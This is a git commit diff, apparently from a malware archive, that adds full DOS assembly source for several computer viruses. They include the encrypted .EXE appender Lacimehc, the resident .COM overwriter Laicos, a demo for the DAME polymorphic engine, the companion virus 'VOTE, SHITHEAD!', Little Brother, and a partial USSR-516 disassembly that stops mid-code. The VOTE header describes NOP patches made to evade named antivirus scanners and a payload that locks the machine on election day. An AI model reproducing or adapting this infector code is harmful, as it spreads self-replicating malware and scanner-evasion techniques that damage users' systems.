re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,260 @@
; ------------------------------------------------------------------------- ;
; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ;
; `-------------------^------------------- ;
; v1.0 - first attempt at .EXE infection, probably full of | Size: 597 ;
; - errors and unoptimized stuff, but I will fix all `---------- ;
; - that when I have a better understanding of what the ;
; - hell is actually going on, it's complicated! hehe ;
; v1.1 - added encryption to this exe appender! XOR,ROR,NEG ;
; ------------------------------------------------------------------------- ;
; ---------------> You Cannot Sedate All The Things You Hate <------------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm lacimehc.asm ;
; to link :::::] tlink /t lacimehc.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; original is a .com file
blank: db 0e9h,0,0 ; jump to beginning
start: call delta ; push IP on to the stack
delta: pop bp ; pop it into BP
sub bp,offset delta ; get the delta offset
push ds es ; save original DS and ES
push cs cs ; push CS twice
pop ds es ; CS = DS = ES now
decr: jmp once ; jump to once (overwritten)
lea si,[bp+encd] ; points to encrypted area
mov di,si ; move the value into DI
call encr ; call our decryption loop
jmp encd ; jump to main virus
encr: lodsb ; load a byte into al
ror al,4 ; encryptin 1
neg al ; encryptin 2
xor al,byte ptr [bp+key] ; encryptin 3 -final-
neg al ; unencrypt 2
ror al,4 ; unencrypt 1
stosb ; return the byte
loop encr ; do this for all bytes
ret ; return from call
key db 0 ; our key value
encd: mov ax,word ptr [bp+exe_cs] ; exe_cs and _cs
mov word ptr [bp+_cs],ax ; are now equal
push [bp+exe_cs] ; save CS
push [bp+exe_ip] ; save IP
push [bp+exe_ss] ; save SS
push [bp+exe_sp] ; save SP
mov ah,1ah ; set new DTA location
lea dx,[bp+offset dta] ; new DTA goes here
int 21h ; DTA is now moved
mov ah,4eh ; find first file
lea dx,[bp+exefile] ; with extension .exe
mov cx,7 ; possible attributes
findit: int 21h ; find a .exe
jnc cont ; found one? continue on
jmp exit ; return control to host
cont: lea dx,[bp+dta+1eh] ; get file name info
mov ax,4300h ; get file attributes
int 21h ; get them now
push cx ; save the attributes
push dx ; and the file name info
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; infect even read only now
mov ax,3d02h ; open the file
int 21h ; file is opened
xchg bx,ax ; move file handle in BX
jnc cont2 ; no problems? continue on
jmp abort ; whoops, find another one
cont2: mov ax,5700h ; get the time / date stamps
int 21h ; we have the stamps
push cx ; save the time
push dx ; save the date
mov ah,3fh ; read from file
mov cx,1ch ; read the EXE header
lea dx,[bp+offset header] ; store it into 'header'
int 21h ; do the int 21 this time
cmp word ptr [bp+header],'ZM' ; check for the initials
je cont3 ; its good, infect it
cmp word ptr [bp+header],'MZ' ; check for the initials
je cont3 ; its good, infect it
jmp next ; find next file
cont3: cmp word ptr [bp+header+10h],'JK' ; check for our ID bytes
jne cont4 ; not done before, infect it
jmp next ; infected, get another one
cont4: mov ax,word ptr [bp+header+18h] ; load AX with offset 40h
cmp ax,40h ; is this a WinEXE file?
jnae cont5 ; nope, continue on
jmp next ; yup it is, get another one
cont5: cmp word ptr [bp+header+1ah],0 ; check for internal overlays
je infect ; nope, infect this file now
jmp next ; there are, get another one
infect: push bx ; save file handle
mov ax,word ptr [bp+header+0eh] ; get original SS into AX
mov word ptr [bp+exe_ss],ax ; save it into exe_ss
mov ax,word ptr [bp+header+10h] ; get original SP into AX
mov word ptr [bp+exe_sp],ax ; save it into exe_sp
mov ax,word ptr [bp+header+14h] ; get original IP into AX
mov word ptr [bp+exe_ip],ax ; save it into exe_ip
mov ax,word ptr [bp+header+16h] ; get original CS into ax
mov word ptr [bp+exe_cs],ax ; save it into exe_cs
mov ax,4202h ; scan to end of file
xor cx,cx ; xor cx to 0
cwd ; likewize for dx
int 21h ; DX:AX holds file size now
push ax dx ; save file size for awhile
mov bx,word ptr [bp+header+8h] ; header size in paragraphs
mov cl,4 ; load CL with 4
shl bx,cl ; multiply bx by 16 (4x4=16)
sub ax,bx ; subtract file size
sbb dx,0 ; if CF is set subtract 1
mov cx,10h ; cx = 10h = 16
div cx ; undue our mutiplying x16
mov word ptr [bp+header+14h],dx ; put the offset in
mov word ptr [bp+header+16h],ax ; segment offset of code
mov word ptr [bp+header+0eh],ax ; segment offset of stack
mov word ptr [bp+header+10h],'JK' ; put our ID in
pop dx ax bx ; restore file size / handle
add ax,finished-start ; add our virus size
adc dx,0 ; if CF add 1, if not, 0
mov cx,512 ; convert to pages
div cx ; by dividing by 512
inc ax ; round up
mov word ptr [bp+header+4],ax ; put the new PageCnt up
mov word ptr [bp+header+2],dx ; put the new PartPag up
mov ax,4202h ; scan to end of file
xor cx,cx ; xor cx to 0
cwd ; likewize for dx
int 21h ; DX:AX holds file size now
in al,40h ; get a random value
mov byte ptr [bp+key],al ; save as our key
mov ah,40h ; write to file
lea dx,[bp+start] ; starting here
mov cx,encd-start ; # of bytes to write
int 21h ; write them now
lea di,[bp+finished] ; where to put bytes
push di ; save value
lea si,[bp+encd] ; where to get bytes
mov cx,finished-encd ; # of bytes to do
push cx ; save value
call encr ; encrypt the bytes
mov ah,40h ; write to file
pop cx ; restore first value
pop dx ; restore second value
int 21h ; write them to file
mov ax,4200h ; seek to start of file
xor cx,cx ; cx to 0
cwd ; likewize for dx
int 21h ; at start of file now
mov ah,40h ; write to file
lea dx,[bp+header] ; write the new header
mov cx,1ch ; # of bytes to write
int 21h ; write it now
next: mov ax,5701h ; set time / date stamps
pop dx ; restore the date
pop cx ; restore the time
int 21h ; time / date are restored
mov ah,3eh ; close the file
int 21h ; close it up now
abort: mov ax,4301h ; set file attributes
pop dx ; for this file name
pop cx ; with these attributes
int 21h ; attributes are restored
mov ah,4fh ; find next file
jmp findit ; start all over again
exit: pop [bp+exe_sp] ; restore SP
pop [bp+exe_ss] ; restore SS
pop [bp+exe_ip] ; restore IP
pop [bp+exe_cs] ; restore CS
mov ah,1ah ; restore the DTA
mov dx,80h ; new address for DTA
int 21h ; back to original location
pop es ds ; pop ES and DS from stack
mov ax,es ; ax points to PSP
add ax,10h ; skip over the PSP
add word ptr cs:[bp+_cs],ax ; restoring CS
mov bx,word ptr cs:[bp+exe_ip] ; move the IP into bx
mov word ptr cs:[bp+_ip],bx ; save the IP into _ip
cli ; clear interrupt flag
mov sp,word ptr cs:[bp+exe_sp] ; adjust ExeSP
add ax,word ptr cs:[bp+exe_ss] ; restore the stack
mov ss,ax ; adjust ReloSS
sti ; set interrupt flag
db 0eah ; jmp far ptr cs:ip
; ---------------------------( The Data Area )----------------------------- ;
; ------------------------------------------------------------------------- ;
_ip dw 0 ; used as offset for db 0eah
_cs dw 0 ; used as offset for db 0eah
exe_cs dw 0fff0h ; original CS
exe_ip dw 0 ; original IP
exe_sp dw 0 ; original SP
exe_ss dw 0 ; original SS
exefile db "*.exe",0 ; infecting .exe files
header db 1ch dup (?) ; space for the header
dta db 43 dup (?) ; space for the new dta
finished: ; end of the virus
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
once: lea si,[bp+new] ; bytes to move
lea di,[bp+decr] ; to be moved here
movsw ; move two bytes
movsb ; move one byte
jmp encd ; jump to main body
new: mov cx,finished-encd ; this replaces the jump
; -----------------------------( The End )--------------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
@@ -0,0 +1,193 @@
; ------------------------------------------------------------------------- ;
; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
; `-------------------^------------------- ;
; v1.0 - memory resident *.com overwritter, MCB style | Size: 283 ;
; v1.1 - makes sure it is really a .com file `---------- ;
; v1.2 - add infection of any file + restores attributes ;
; v1.3 - add time/date restoration of infected files ;
; v1.4 - add XOR,NOT,NEG,ROR encryption to this ;
; ------------------------------------------------------------------------- ;
; Thanks: To SPo0ky!! I Could not have done this without his patience!!!! ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm laicos.asm ;
; to link :::::] tlink /t laicos.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; this be a .com file
.286 ; need this for pusha/popa
start: jmp first ; jump to first (overwritten)
xor bp,bp ; XOR the value of bp to 0
lea si,encd ; load SI with encrypted area start
mov di,si ; DI points there now too
call encr ; call the encryption routine
jmp encd ; jump to encrypted area
encr: lodsb ; load a byte
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
key: xor al,0 ; encryptin 4
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; put the byte back
loop encr ; do it for all bytes
ret ; return from call
encd: mov ax,0deadh ; move 0deadh into AX
int 21h ; if resident, 0deadh is in BX now
cmp bx,0deadh ; are we resident?
jne go_rez ; nope were not, go rezident now
int 20h ; we are, terminate
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
mov ax,cs ; move CS into AX
dec ax ; decrement AX and
mov ds,ax ; move AX into DS
sub word ptr ds:[3],40h ; sub 1kb from accessed MCB
xor ax,ax ; ax to 0
mov ds,ax ; DS has no value now
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
mov cl,6 ; load cl with 6
shl ax,cl ; multiply BIOS base mem by 64
mov es,ax ; move the value into ES
push cs ; get cs again so you can
pop ds ; restore DS to original value
xor di,di ; DI must be 0 now
lea si,start ; load SI with start of virus
mov cx,finish-start ; # of bytes to write
rep movsb ; load the virus into memory
hook: push es ; push the value in ES
pop ds ; pop it into DS
mov ax,3521h ; get the int 21h interrupt
int 21h ; get it now man!
mov word ptr ds:[oi21-100h],bx ; save the old one here
mov word ptr ds:[oi21+2-100h],es ; save it here too
mov ax,2521h ; point IVT to new ISR
lea dx,isr-100h ; load DX with start of ISR
int 21h ; IVT now points to new ISR
int 20h ; end now that we have hooked
isr: pushf ; push all flags
cmp ax,0deadh ; have we added check value?
jne exec ; yup, wait for a 4bh
mov bx,0deadh ; nope, adding it now
popf ; pop the flags
iret ; pop cs:ip+flags from stack
exec: pusha ; push all registers
push ds ; push value of DS
push es ; push ES as well
cmp ah,4bh ; something being executed?
je main ; yup, check if .com
jne exit ; nope, point to original ISR
main: push ds ; push DS again
pop es ; and pop it into ES
mov di,dx ; move file name info to DI
mov cx,64 ; 64 byte file name possible
mov al,'.' ; load al with .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; is it .CO- ?
jne exit ; not a .com file, exit
cmp word ptr ds:[di+2],'M' ; check for .--M
jne exit ; not a .com file, exit
mov ax,4300h ; get the file attributes
int 21h ; we have them now
push cx ; save the values
push dx ; save the values
push ds ; save the values
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; set them now
mov ax,3d02h ; open the file then
int 21h ; file is now open
xchg ax,bx ; save the file info
push cs ; push 100h
push cs ; push it again
pop ds ; into DS
pop es ; into ES
mov ax,5700h ; get time / date stamps
int 21h ; we have the stamps now
push dx ; save the time
push cx ; save the date
in al,40h ; get random value
mov byte ptr cs:[key-100h+1],al ; save as our key
mov ah,40h ; write to file
lea dx,start-100h ; load start address
mov cx,encd-start ; # of bytes to write
int 21h ; write them now
mov bp,100h ; load bp with 100h
lea di,finish-100h ; end of encrypted stuff
lea si,encd-100h ; start of encrypted stuff
mov cx,finish-encd ; # of bytes to encrypt
cld ; clear direction flag
call encr ; call the encryption routine
mov ah,40h ; write to file
mov cx,finish-encd ; total # of bytes to write
lea dx,finish-100h ; write from here
int 21h ; write them now
mov ax,5701h ; restore time / date
pop cx ; from this value
pop dx ; and from this value
int 21h ; restore them now
mov ax,4301h ; set file attributes
pop ds ; restore from saved value
pop dx ; restore from this one too
pop cx ; and lastely, this one
int 21h ; attributes are restored
mov ah,3eh ; close the file
int 21h ; it's closed
exit: pop es ; pop ES from stack
pop ds ; pop DS from stack
popa ; pop all registers
popf ; pop all flags
db 0eah ; jump to original ISR
; --------------------------( The Data Area ) ----------------------------- ;
; ------------------------------------------------------------------------- ;
oi21 dd ? ; old int 21 is here
finish label near ; the offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
first: lea di,start ; load with start address
lea si,new ; overwrite with these bytes
movsw ; overwrite two bytes
movsb ; overwrite one byte
jmp encd ; jump to encrypted area start
new: mov cx,finish-encd ; this will overwrite the jump
; ----------------------------( Its All Over )----------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end start ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
+186
View File
@@ -0,0 +1,186 @@
.code
.radix 16
org 100
start: jmp temp ; The next two lines will be patched in
; cld ; DAME may have altered DF
; mov bx,ds
call calc_off
old4 dw 20cdh, 0
fmask db '*.com',0
dmask db '..',0
db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
db 'To demonstrate DAME 0.91',0Dh,0A,1a
vars = 0
include dame.asm ; include the code portion of DAME
calc_off:
pop si
mov ax,si
mov cl,4
shr ax,cl
sub ax,10
add ax,bx
mov bx,offset enter_vir
push ax bx
retf
enter_vir:
mov di,100
push es di es es
movsw
movsw
enter_vir0:
push cs cs
pop es ds
mov ah,1a
mov dx,offset new_dta ; set new DTA
int 21
mov ah,47
cwd
mov si,offset old_path+1
mov byte ptr [si-1],'\'
int 21
mov inf_cnt,4
call rnd_init_seed
inf_dir:mov ah,4e
mov dx,offset fmask
fnext: int 21
jnc inf_file
mov ah,3bh
mov dx,offset dmask
int 21
jnc inf_dir
done_all:
mov ah,3bh
mov dx,offset old_path
int 21
pop es ds ; restore the DTA
mov dx,80
mov ah,1a
int 21
retf ; return to carrier
inf_file:
mov ax,3d00
mov dx,offset new_dta + 1e
int 21
jc _fnext
xchg ax,bx
mov ah,3f
mov cx,4
mov dx,offset old4
int 21
mov ah,3e
int 21
cmp old4,0e9fc
jz _fnext
add al,ah
cmp al,'Z'+'M'
jz _fnext
call infect
dec inf_cnt
jz done_all
_fnext:
mov ah,4f
jmp short fnext
infect: mov ax,3d00
mov dx,offset new_dta + 1e
int 21
push ax
xchg ax,bx
mov ax,1220
int 2f
mov ax,1216
mov bl,es:di
mov bh,0
int 2f
pop bx
mov word ptr es:[di+2],2
mov ax,es:[di+11]
mov bp,ax
mov cx,4
sub ax,cx
mov patch,ax
mov ah,40
mov dx,offset oFCE9
int 21
mov word ptr es:[di+15],bp
push es di cs
pop es
mov si,100
mov di,offset copyvirus
mov cx,(heap - start + 1)/2
rep movsw
mov ax,0000000000001011b
mov dx,offset copyvirus
mov cx,heap - start
mov si,offset _decryptbuffer
mov di,offset _encryptbuffer
push dx bx si
mov bx,bp
inc bh
call dame
mov ah,40
pop dx bx
int 21
mov ah,40
mov cx,heap - start
pop dx
int 21
pop di es
or byte ptr es:[di+6],40
mov ah,3e
int 21
retn
oFCE9 dw 0e9fc
heap:
patch dw ?
inf_cnt db ?
vars = 1
include dame.asm ; include the heap portion of DAME
old_path db 41 dup (?)
new_dta db 2c dup (?)
_encryptbuffer: db 80 dup (?)
_decryptbuffer: db 1a0 dup (?)
copyvirus db heap - start + 20 dup (?)
temp: mov byte ptr ds:[100],0fc
mov word ptr ds:[101],0db8c
xor di,di
push cs di cs cs
jmp enter_vir0
end start
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
@@ -0,0 +1,319 @@
;****************************************************************************
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
;*
;* TASM/MASM compatible source listing
;*
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
;* Brother code and library .asm routines extracted from Nowhere Man's VCL.
;* It is also 'patched' with three 'nops' (they are commented) which
;* effectively blind a number of a-v scanners. This simple alteration
;* demonstrates a practical benefit of source code possession: quick
;* generation of different virus strains becomes a task within anyone's
;* reach. The only tools needed are a number of virus scanners and patience.
;*
;* In any case, the VOTE virus is just the ideal sample needed for
;* judicious virus action. It is a PERFECT tool for viral spreading for
;* a number of reasons. First, it is a FAST infector. Once resident
;* VOTE will create a companion file for ANY .EXE executed on ANY drive
;* and it will do it so quickly that most users, even suspicious ones,
;* will not notice any slowdown or glitches in machine operation.
;* Second, 'companion-ed' .EXE's will continue to load and function
;* properly when VOTE is resident. At the start of the day's computing,
;* the first 'companion-ed' .EXE executed will misfire ONCE as the virus
;* becomes resident. If it is re-called it will function perfectly.
;* Third, VOTE like the INSUFF viruses in the last newsletter strikes
;* directly at anti-virus suites vulnerable to 'spawning' infections (many
;* no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement
;* over the original virus's modus operandi which left them out in plane
;* sight in the directory. Last, VOTE is very small. In RAM, it is not
;* discernible, taking up slightly less that 0.25k. Characteristically,
;* this is NOT reported by a mem /c display. In fact,
;* VOTE is almost invisible to any number of standard diagnostic
;* tests. Memory maps by QEMM and Norton's SYSINFO will
;* report INT 21 hooked differently. But unless the user can compare
;* an uncontaminated INTERRUPT report with one when the virus IS present,
;* it's unlikely he'll know anything is different. Even then, VOTE is hard
;* to notice.
;*
;* On election day, November 3rd, VOTE will lock an infected machine into
;* a loop as it displays a "DID YOU VOTE, SHITHEAD??" query repetitively
;* across the monitor. Computing will be impossible on Nov. 3rd
;* unless VOTE is removed from the machine, a task accomplished by unmasking
;* all the hidden .COMfiles and deleting them while
;* the virus is NOT resident. At all other times, VOTE is almost completely
;* transparent.
;****************************************************************************
code segment
assume cs:code,ds:code,es:nothing
.RADIX 16
oi21 equ endit
nameptr equ endit+4
DTA equ endit+8
;****************************************************************************
;* Check for activation date, then proceed to installation!
;****************************************************************************
org 100h
begin:
call get_day ; Get the day, DOS time/date grab
cmp ax,0003h ; Did the function return the 3rd?
jne realstrt ; If equal, continue along stream
call get_month ; Get the month, DOS time/date grab
cmp ax,000Bh ; Did the function return November (11)?
jne realstrt ; If equal, continue to blooie; if not
; skip to loading of virus
blooie: mov dx, offset shithead ;load 'shithead' message
mov ah,9 ;display it and loop
int 21h ;endlessly until
jmp blooie ;user becomes ill and reboots
realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM
nop ;a 'nop' to confuse tbSCAN
mov es,ax
nop ;a 'nop' to confuse Datatechnik's AVscan
mov di,0100h
mov si,di
mov cx,endit - begin ;length of SHITHEAD into cx
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;check to see if virus is around
je cancel ; by comparing new interrupt (ni21)
stosw ; vector to current, if it looks
movsw ; the same 'cancel' operation
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extension masks for checking and naming routines;message text
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
SHITHEAD db "DID YOU VOTE, SHITHEAD??"
db 07h,07h,'$'
;****************************************************************************
;* Interrupt handler 24
;****************************************************************************
ni24: mov al,03 ;virus critical error handler
iret ;prevents embarrassing messages
;on attempted writes to protected disks
;****************************************************************************
;* Interrupt handler 21
;****************************************************************************
ni21: pushf
push es
push ds
push ax
push bx
push dx
cmp ax,4B00h ;now that we're installed
jne exit ; check for 4B00, DOS excutions
doit: call infect ; if one comes by, grab it
exit: pop dx ; if anything else, goto sleep
pop bx
pop ax
pop ds
pop es
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Try to infect a file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint ; here's where we grab a name
push di ; for ourselves
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com ;if so, go to our .COM routine
mov si,offset EXE_txt ;is extension 'EXE'?
nop ;'nop' to confuse SCAN v95b.
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
nop ;another 'nop' to confuse SCAN
call change_ext
mov ax,3300h ;get ctrl-break flag
nop
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vector to new handler
pop ds ;virus handles machine
mov dx,offset ni24 ;exits on attempted writes
mov ah,25h ;to write-protected disks
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (with name of .EXE target)
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h ; makes it hidden/system/read-only
; do it
xchg bx,ax ;save handle
push cs
pop ds
mov cx,endit - begin ; write the virus to the created file
mov dx,offset begin ; CX contains length
mov ah,40h ; write to file function
int 21
mov ah,3Eh ;close the file
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],endit - begin ;compare it to virus length
jne return ;no, so execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Search beginning of extension for name we will usurp
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* Get the day off the system for activation checking
;****************************************************************************
get_day:
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Get back to caller
;*************************************************************************
;* Get the month off the system for activation checking
;*************************************************************************
get_month:
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Get back to caller
endit:
code ends
end begin

@@ -0,0 +1,242 @@
;****************************************************************************
;* Little Brother Version 1
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 1
oi21 equ end
nameptr equ end+4
DTA equ end+8
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: cld
mov ax,0DEDEh ;already installed?
int 21h
cmp ah,041h
je cancel
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
movsw
movsw
push es ;set vector to new handler
pop ds
mov dx,offset ni21
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DEDEh ;install-check ?
je do_DEDE
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_DEDE: mov ax,04100h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz do_com
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;create the file (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the file
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;delete the file
mov ah,41h
int 21
return1: pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext
return: ret
do_com: call findfirst ;is the file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return
mov si,offset COM_txt ;change extension to COM
jmp short change_ext
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,'.'
repnz scasb
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

+280
View File
@@ -0,0 +1,280 @@
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
;Disassembled by Dark Angel of PHALCON/SKISM
;for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
;This is where the virus really begins
start:
push ax
call beginvir
orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ;Actually it's int 21h
;entry point
int21store db 0, 0, 0, 0
beginvir: pop bp ;BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ;DI -> orig4
movsw ;restore original
movsw ;4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ;int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ;Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ;Find marker bytes
jne findmarker ;to the entry point
mov [bp+4],di ;and move to
mov [bp+6],ds ;int30store
mov ax,5252h ;Get list of lists
int 21h ;and also ID check
add bx,12h ;Already installed?
jz quitvir ;then exit
push bx
mov ah,30h ;Get DOS version
int 21h
pop bx ;bx = 12, ptr to 1st
;disk buffer
cmp al,3
je handlebuffer ;if DOS 3
ja handleDBHCH ;if > DOS 3
inc bx ;DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ;Get seg:off of buffer
inc si
pop di
pop es ;ES:DI->seg:off buff
mov ax,[bx] ;ptr to next buffer
cmp ax,0FFFFh ;least recently used?
jne handlebuffer ;if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ;Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ;ptr to disk buffer
lodsw ;info
lodsw ;seg of disk buffer
;hash chain head array
inc ax ;second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ;EMS page, -1 if not
;in EMS
xchg ax,di ;save in di
lodsw ;ptr to least recently
;used buffer
mov [di+2],ax ;change disk buffer
;backward offset to
;least recently used
xchg ax,di ;restore EMS page
mov [di],ax ;set to least recently
movetobuffer: ;used
mov di,bx
push ds
pop es ;ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ;Copy from start
rep movsw
mov ds,cx ;DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ;New interrupt handler
mov word ptr ds:[4*21h+2],es ;at int21
quitvir:
push cs ;CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ;set up stack for
push si ;the return to the
retn ;original program
int24:
mov al,3 ;Ignore all errors
iret
tickstore db 3 ;Why???
buffer db 3, 0, 9, 0
int21:
pushf
cli ;CP/M style call entry
call dword ptr cs:[int30store-start]
retn ;point of int 21h
int21DSDX: ;For int 21h calls
push ds ;with
lds dx,dword ptr [bp+2] ;DS:DX -> filename
call int21
pop ds
retn
cmp ax,4B00h ;Execute
je Execute
cmp ax,5252h ;ID check
je CheckID
cmp ah,30h ;DOS Version
je DosVersion
callorig21: ;Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ;Why????? ;DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ;Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ;# 2-17
pop ax
pop es
iret
CheckID: ;ID Check
